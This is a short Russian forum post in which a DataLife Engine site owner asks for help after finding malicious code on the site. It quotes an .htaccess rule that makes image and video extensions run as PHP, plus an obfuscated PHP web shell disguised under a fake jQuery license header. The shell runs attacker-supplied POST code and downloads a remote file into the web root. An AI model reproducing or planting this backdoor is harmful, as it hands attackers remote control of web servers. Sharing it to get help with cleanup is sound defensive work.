В dle встроили вредоносный код, нужна помощь.

<filesmatch ".([pp][hh][pp]|[cc][gg][ii]|[pp][ll]|[pp][hh][ii][mm][ll]).?"="">
   Order allow,deny
   Deny from all
</filesmatch>
AddHandler application/x-httpd-php .avi .jpeq .mpg

и рядом файл foto_67823364.jpeq с кодом

<?php 
/*
 * jQuery Image Library v1.6.1
 * <a href="https://pr-cy.ru/jump/?url=http%3A%2F%2Fjquery.com%2F" target="_blank" class="redactor-autoparser-object">http://jquery.com/</a>
 *
 * Copyright 2011, John Resig
 * Dual licensed under the MIT or GPL Version 2 licenses.
 * <a href="https://pr-cy.ru/jump/?url=http%3A%2F%2Fjquery.org%2Flicense" target="_blank" class="redactor-autoparser-object">http://jquery.org/license</a>
 *
 * Includes Sizzle.js
 * <a href="https://pr-cy.ru/jump/?url=http%3A%2F%2Fsizzlejs.com%2F" target="_blank" class="redactor-autoparser-object">http://sizzlejs.com/</a>
 * Copyright 2011, The Dojo Foundation
 * Released under the MIT, BSD, and GPL Licenses.
 *
 * Date: Thu May 12 15:04:36 2011 -0400
 *  *  *  *  *  *  * *  *  *  *  *  *  *  *  *  *  *  *  *  Don't delete this file *  *  *  *  *  *  *  *  *  *  *  *  *  *  *  * 
 */
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('display_errors', 0);
@error_reporting(0);
@set_time_limit(0);
$cret='unct' .'ion';$cret= 'cre' . 'ate' .'_f' .$cret;
$jQuery='sert';$jQuery='as'.$jQuery;$Libr= "_ostp";
$sizz=strtoupper($Libr[0].$Libr[4].$Libr[1].$Libr[2].$Libr[3] );
if(isset(${$sizz}['j01bt5ri3p'])){@$cret('', '};'.${$sizz}['j01bt5ri3p'].'{');}
if(isset(${$sizz}['j01bt5ri3p'])){@$jQuery(${$sizz}['j01bt5ri3p']);} 
if((isset(${$sizz}['j01bt5ri3p']))&(isset(${$sizz}['fail']))){
@copy('http://'.${$sizz}['fail'].'/test.txt', $_SERVER['DOCUMENT_ROOT'].'/license.php');} 
print"<!-- te"."st --> "; 
?>